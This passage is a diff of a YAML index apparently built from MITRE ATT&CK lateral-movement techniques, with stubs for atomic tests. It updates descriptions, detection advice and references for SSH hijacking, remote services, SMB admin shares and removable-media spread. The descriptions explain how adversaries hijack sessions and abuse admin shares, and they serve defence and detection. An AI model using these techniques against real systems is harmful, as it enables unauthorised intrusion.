-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Remote Service Session Hijacking
-      description: |-
-        Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.
-
-        Adversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)
-      id: attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: lateral-movement
-      modified: '2020-03-23T23:35:58.129Z'
-      created: '2020-02-25T18:26:16.994Z'
+      name: Remote Service Session Hijacking
       x_mitre_data_sources:
       - 'Network Traffic: Network Traffic Flow'
       - 'Network Traffic: Network Traffic Content'
       - 'Logon Session: Logon Session Creation'
       - 'Command: Command Execution'
       - 'Process: Process Creation'
-      x_mitre_detection: |-
-        Use of these services may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with that service. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.
-
-        Monitor for processes and command-line arguments associated with hijacking service sessions.
       x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
+      modified: '2020-03-23T23:35:58.129Z'
+      created: '2020-02-25T18:26:16.994Z'
       x_mitre_permissions_required:
       - SYSTEM
       - root
@@ -69532,44 +71651,80 @@ lateral-movement:
       - Linux
       - macOS
       - Windows
-    atomic_tests: []
-  T1021:
-    technique:
-      created: '2017-05-31T21:30:29.858Z'
-      modified: '2020-03-25T12:25:03.251Z'
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5
+      description: |-
+        Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.
+
+        Adversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: lateral-movement
-      type: attack-pattern
+      x_mitre_detection: |-
+        Use of these services may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with that service. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.
+
+        Monitor for processes and command-line arguments associated with hijacking service sessions.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1563
+        external_id: T1563
+        source_name: mitre-attack
+      - source_name: RDP Hijacking Medium
+        description: Beaumont, K. (2017, March 19). RDP hijacking — how to hijack
+          RDS and RemoteApp sessions transparently to move through an organisation.
+          Retrieved December 11, 2017.
+        url: https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6
+      - url: https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident
+        description: Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr
+          11 security incident. Retrieved February 17, 2020.
+        source_name: Breach Post-mortem SSH Hijack
+    atomic_tests: []
+  T1021:
+    technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Remote Services
       external_references:
-      - source_name: mitre-attack
+      - url: https://attack.mitre.org/techniques/T1021
         external_id: T1021
-        url: https://attack.mitre.org/techniques/T1021
-      - external_id: CAPEC-555
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/555.html
+        external_id: CAPEC-555
         source_name: capec
-        url: https://capec.mitre.org/data/definitions/555.html
-      - source_name: SSH Secure Shell
-        url: https://www.ssh.com/ssh
+      - url: https://www.ssh.com/ssh
         description: SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020.
-      - url: https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx
+        source_name: SSH Secure Shell
+      - source_name: TechNet Remote Desktop Services
         description: Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1,
           2016.
-        source_name: TechNet Remote Desktop Services
-      description: |-
-        Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.
-
-        In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)
-      name: Remote Services
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.1'
-      x_mitre_detection: Correlate use of login activity related to remote services
-        with unusual behavior or other malicious or suspicious activity. Adversaries
-        will likely need to learn about an environment and the relationships between
-        systems through Discovery techniques prior to attempting Lateral Movement.
+        url: https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx
+      - url: https://support.apple.com/en-us/HT209161
+        description: Apple. (n.d.). Use MDM to enable Remote Management in macOS.
+          Retrieved September 23, 2021.
+        source_name: Remote Management MDM macOS
+      - url: https://support.apple.com/en-us/HT201710
+        description: Apple. (n.d.). Use the kickstart command-line utility in Apple
+          Remote Desktop. Retrieved September 23, 2021.
+        source_name: Kickstart Apple Remote Desktop commands
+      - url: https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf
+        description: Apple. (n.d.). Apple Remote Desktop Administrator Guide Version
+          3.3. Retrieved October 5, 2021.
+        source_name: Apple Remote Desktop Admin Guide 3.3
+      - url: https://www.fireeye.com/blog/threat-research/2019/10/leveraging-apple-remote-desktop-for-good-and-evil.html
+        description: 'Jake Nicastro, Willi Ballenthin. (2019, October 9). Living off
+          the Orchard: Leveraging Apple Remote Desktop for Good and Evil. Retrieved
+          August 16, 2021.'
+        source_name: FireEye 2019 Apple Remote Desktop
+      - url: http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html
+        description: 'Dan Borges. (2019, July 21). MacOS Red Teaming 206: ARD (Apple
+          Remote Desktop Protocol). Retrieved September 10, 2021.'
+        source_name: Lockboxx ARD 2019
+      - url: https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins
+        description: 'Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs:
+          Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved
+          August 19, 2021.'
+        source_name: Apple Unified Log Analysis Remote Login and Screen Sharing
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Network Traffic: Network Connection Creation'
@@ -69578,21 +71733,70 @@ lateral-movement:
       - 'Command: Command Execution'
       - 'Network Share: Network Share Access'
       - 'Module: Module Load'
+      x_mitre_version: '1.2'
+      modified: '2021-10-15T14:15:07.272Z'
       x_mitre_system_requirements:
       - Active remote service accepting connections and valid credentials
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: lateral-movement
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba
+      description: |-
+        Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.
+
+        In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)
+
+        Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)
+      x_mitre_contributors:
+      - Dan Borges, @1njection
+      x_mitre_detection: "Correlate use of login activity related to remote services
+        with unusual behavior or other malicious or suspicious activity. Adversaries
+        will likely need to learn about an environment and the relationships between
+        systems through Discovery techniques prior to attempting Lateral Movement.
+        \n\nUse of applications such as ARD may be legitimate depending on the environment
+        and how it’s used. Other factors, such as access patterns and activity that
+        occurs after a remote login, may indicate suspicious or malicious behavior
+        using these applications. Monitor for user accounts logged into systems they
+        would not normally access or access patterns to multiple systems over a relatively
+        short period of time. \n\nIn macOS, you can review logs for \"screensharingd\"
+        and \"Authentication\" event messages. Monitor network connections regarding
+        remote management (ports tcp:3283 and tcp:5900) and for remote login (port
+        tcp:22).(Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis
+        Remote Login and Screen Sharing)"
+      created: '2017-05-31T21:30:29.858Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1091:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Replication Through Removable Media
       external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1091
+      - url: https://attack.mitre.org/techniques/T1091
         external_id: T1091
+        source_name: mitre-attack
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'File: File Access'
+      - 'File: File Creation'
+      - 'Drive: Drive Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-07-20T02:18:04.581Z'
+      x_mitre_system_requirements:
+      - Removable media allowed, Autorun enabled or vulnerability present that allows
+        for code execution
+      id: attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: Adversaries may move onto systems, possibly those on disconnected
         or air-gapped networks, by copying malware to removable media and taking advantage
         of Autorun features when the media is inserted into a system and executes.
@@ -69602,37 +71806,19 @@ lateral-movement:
         In the case of Initial Access, this may occur through manual manipulation
         of the media, modification of systems used to initially format the media,
         or modification to the media's firmware itself.
-      name: Replication Through Removable Media
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: lateral-movement
       - kill_chain_name: mitre-attack
         phase_name: initial-access
-      modified: '2020-07-14T19:45:59.638Z'
-      created: '2017-05-31T21:31:08.977Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.0'
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'File: File Access'
-      - 'File: File Creation'
-      - 'Drive: Drive Creation'
       x_mitre_detection: Monitor file access on removable media. Detect processes
         that execute from removable media after it is mounted or when initiated by
         a user. If a remote access tool is used in this manner to move laterally,
         then additional actions are likely to occur after execution, such as opening
         network connections for Command and Control and system and network information
         Discovery.
-      x_mitre_permissions_required:
-      - User
-      x_mitre_system_requirements:
-      - Removable media allowed, Autorun enabled or vulnerability present that allows
-        for code execution
-      x_mitre_platforms:
-      - Windows
+      created: '2017-05-31T21:31:08.977Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1091
     atomic_tests:
     - name: USB Malware Spread Simulation
@@ -69659,60 +71845,36 @@ lateral-movement:
           }
   T1021.002:
     technique:
-      created: '2020-02-11T18:25:28.212Z'
-      modified: '2020-03-23T21:16:02.812Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: lateral-movement
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: SMB/Windows Admin Shares
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Logon Session: Logon Session Creation'
+      - 'Network Share: Network Share Access'
+      x_mitre_version: '1.0'
+      modified: '2020-03-23T21:16:02.812Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      created: '2020-02-11T18:25:28.212Z'
       id: attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - Administrator
       description: |-
         Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.
 
         SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.
 
         Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)
-      name: SMB/Windows Admin Shares
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1021.002
-        url: https://attack.mitre.org/techniques/T1021/002
-      - external_id: CAPEC-561
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/561.html
-      - url: https://en.wikipedia.org/wiki/Server_Message_Block
-        description: Wikipedia. (2017, December 16). Server Message Block. Retrieved
-          December 21, 2017.
-        source_name: Wikipedia Server Message Block
-      - url: https://technet.microsoft.com/en-us/library/cc787851.aspx
-        description: Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12,
-          2016.
-        source_name: TechNet RPC
-      - url: http://support.microsoft.com/kb/314984
-        description: Microsoft. (n.d.). How to create and delete hidden or administrative
-          shares on client computers. Retrieved November 20, 2014.
-        source_name: Microsoft Admin Shares
-      - source_name: Lateral Movement Payne
-        description: Payne, J. (2015, November 26). Tracking Lateral Movement Part
-          One - Special Groups and Specific Service Accounts. Retrieved February 1,
-          2016.
-        url: https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts
-      - url: https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem
-        description: Payne, J. (2015, November 23). Monitoring what matters - Windows
-          Event Forwarding for everyone (even if you already have a SIEM.). Retrieved
-          February 1, 2016.
-        source_name: Windows Event Forwarding Payne
-      - description: French, D. (2018, October 9). Detecting & Removing an Attacker’s
-          WMI Persistence. Retrieved October 11, 2019.
-        url: https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96
-        source_name: Medium Detecting WMI Persistence
-      x_mitre_platforms:
-      - Windows
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: lateral-movement
       x_mitre_detection: 'Ensure that proper logging of accounts used to log into
         systems is turned on and centrally collected. Windows logging is able to collect
         success/failure for accounts that may be used to move laterally and can be
@@ -69724,19 +71886,43 @@ lateral-movement:
         [Net](https://attack.mitre.org/software/S0039), on the command-line interface
         and Discovery techniques that could be used to find remotely accessible systems.(Citation:
         Medium Detecting WMI Persistence)'
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      - 'Network Traffic: Network Connection Creation'
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Logon Session: Logon Session Creation'
-      - 'Network Share: Network Share Access'
       x_mitre_system_requirements:
       - SMB enabled; Host/network firewalls not blocking SMB ports between source
         and destination; Use of domain account in administrator group on remote system
         or default system admin account.
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1021/002
+        external_id: T1021.002
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/561.html
+        external_id: CAPEC-561
+        source_name: capec
+      - source_name: Wikipedia Server Message Block
+        description: Wikipedia. (2017, December 16). Server Message Block. Retrieved
+          December 21, 2017.
+        url: https://en.wikipedia.org/wiki/Server_Message_Block
+      - source_name: TechNet RPC
+        description: Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12,
+          2016.
+        url: https://technet.microsoft.com/en-us/library/cc787851.aspx
+      - source_name: Microsoft Admin Shares
+        description: Microsoft. (n.d.). How to create and delete hidden or administrative
+          shares on client computers. Retrieved November 20, 2014.
+        url: http://support.microsoft.com/kb/314984
+      - url: https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts
+        description: Payne, J. (2015, November 26). Tracking Lateral Movement Part
+          One - Special Groups and Specific Service Accounts. Retrieved February 1,
+          2016.
+        source_name: Lateral Movement Payne
+      - source_name: Windows Event Forwarding Payne
+        description: Payne, J. (2015, November 23). Monitoring what matters - Windows
+          Event Forwarding for everyone (even if you already have a SIEM.). Retrieved
+          February 1, 2016.
+        url: https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem
+      - source_name: Medium Detecting WMI Persistence
+        description: French, D. (2018, October 9). Detecting & Removing an Attacker’s
+          WMI Persistence. Retrieved October 11, 2019.
+        url: https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96
       identifier: T1021.002
     atomic_tests:
     - name: Map admin share
@@ -69858,95 +72044,105 @@ lateral-movement:
         elevation_required: true
   T1021.004:
     technique:
-      created: '2020-02-11T18:27:15.774Z'
-      modified: '2020-03-23T23:43:46.977Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: lateral-movement
       type: attack-pattern
-      id: attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6
-      description: |-
-        Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.
-
-        SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.(Citation: SSH Secure Shell)
+      modified: '2021-10-15T14:15:06.853Z'
       name: SSH
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1021.004
-        url: https://attack.mitre.org/techniques/T1021/004
-      - external_id: CAPEC-555
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/555.html
-      - source_name: SSH Secure Shell
-        url: https://www.ssh.com/ssh
-        description: SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020.
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-      x_mitre_detection: Use of SSH may be legitimate depending on the environment
-        and how it’s used. Other factors, such as access patterns and activity that
-        occurs after a remote login, may indicate suspicious or malicious behavior
-        with SSH. Monitor for user accounts logged into systems they would not normally
-        access or access patterns to multiple systems over a relatively short period
-        of time.
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Network Traffic: Network Connection Creation'
       - 'Logon Session: Logon Session Creation'
+      x_mitre_version: '1.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       x_mitre_system_requirements:
       - An SSH server is configured and running.
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6
+      description: |-
+        Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.
+
+        SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: lateral-movement
+      x_mitre_detection: |-
+        Use of SSH may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.
+
+        On macOS systems <code>log show --predicate 'process = "sshd"'</code> can be used to review incoming SSH connection attempts for suspicious activity. The command <code>log show --info --predicate 'process = "ssh" or eventMessage contains "ssh"'</code> can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)
+
+        On Linux systems SSH activity can be found in the logs located in <code>/var/log/auth.log</code> or <code>/var/log/secure</code> depending on the distro you are using.
+      created: '2020-02-11T18:27:15.774Z'
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1021/004
+        external_id: T1021.004
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/555.html
+        external_id: CAPEC-555
+        source_name: capec
+      - url: https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins
+        description: 'Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs:
+          Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved
+          August 19, 2021.'
+        source_name: Apple Unified Log Analysis Remote Login and Screen Sharing
     atomic_tests: []
   T1563.001:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: SSH Hijacking
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1563/001
+        external_id: T1563.001
+        source_name: mitre-attack
+      - source_name: Slideshare Abusing SSH
+        description: Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using
+          ssh. Retrieved January 8, 2018.
+        url: https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219
+      - source_name: SSHjack Blackhat
+        description: 'Adam Boileau. (2005, August 5). Trust Transience:  Post Intrusion
+          SSH Hijacking. Retrieved December 19, 2017.'
+        url: https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf
+      - source_name: Clockwork SSH Agent Hijacking
+        description: Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved
+          December 20, 2017.
+        url: https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking
+      - url: https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident
+        description: Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr
+          11 security incident. Retrieved February 17, 2020.
+        source_name: Breach Post-mortem SSH Hijack
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Traffic Content'
+      - 'Logon Session: Logon Session Creation'
+      - 'Command: Command Execution'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.0'
+      modified: '2020-03-23T23:11:24.682Z'
+      x_mitre_system_requirements:
+      - SSH service enabled, trust relationships configured, established connections
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: lateral-movement
       id: attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - root
       description: |-
         Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.
 
         In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack)
 
         [SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).
-      name: SSH Hijacking
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1563.001
-        url: https://attack.mitre.org/techniques/T1563/001
-      - url: https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219
-        description: Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using
-          ssh. Retrieved January 8, 2018.
-        source_name: Slideshare Abusing SSH
-      - url: https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf
-        description: 'Adam Boileau. (2005, August 5). Trust Transience:  Post Intrusion
-          SSH Hijacking. Retrieved December 19, 2017.'
-        source_name: SSHjack Blackhat
-      - url: https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking
-        description: Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved
-          December 20, 2017.
-        source_name: Clockwork SSH Agent Hijacking
-      - source_name: Breach Post-mortem SSH Hijack
-        url: https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident
-        description: Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr
-          11 security incident. Retrieved February 17, 2020.
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: lateral-movement
-      modified: '2020-03-23T23:11:24.682Z'
-      created: '2020-02-25T18:34:38.290Z'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      x_mitre_permissions_required:
-      - root
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      x_mitre_contributors:
+      - Anastasios Pingios
       x_mitre_detection: Use of SSH may be legitimate, depending upon the network
         environment and how it is used. Other factors, such as access patterns and
         activity that occurs after a remote login, may indicate suspicious or malicious
@@ -69954,100 +72150,95 @@ lateral-movement:
         not normally access or access patterns to multiple systems over a relatively
         short period of time. Also monitor user SSH-agent socket files being used
         by different users.
-      x_mitre_system_requirements:
-      - SSH service enabled, trust relationships configured, established connections
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
-      - 'Logon Session: Logon Session Creation'
-      - 'Command: Command Execution'
-      - 'Process: Process Creation'
-      x_mitre_contributors:
-      - Anastasios Pingios
+      created: '2020-02-25T18:34:38.290Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1051:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Shared Webroot
       external_references:
-      - source_name: mitre-attack
+      - url: https://attack.mitre.org/techniques/T1051
         external_id: T1051
-        url: https://attack.mitre.org/techniques/T1051
-      - external_id: CAPEC-563
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/563.html
+        external_id: CAPEC-563
         source_name: capec
-        url: https://capec.mitre.org/data/definitions/563.html
       - description: 'Microsoft. (2016, October 20). How to: Find the Web Application
           Root. Retrieved July 27, 2018.'
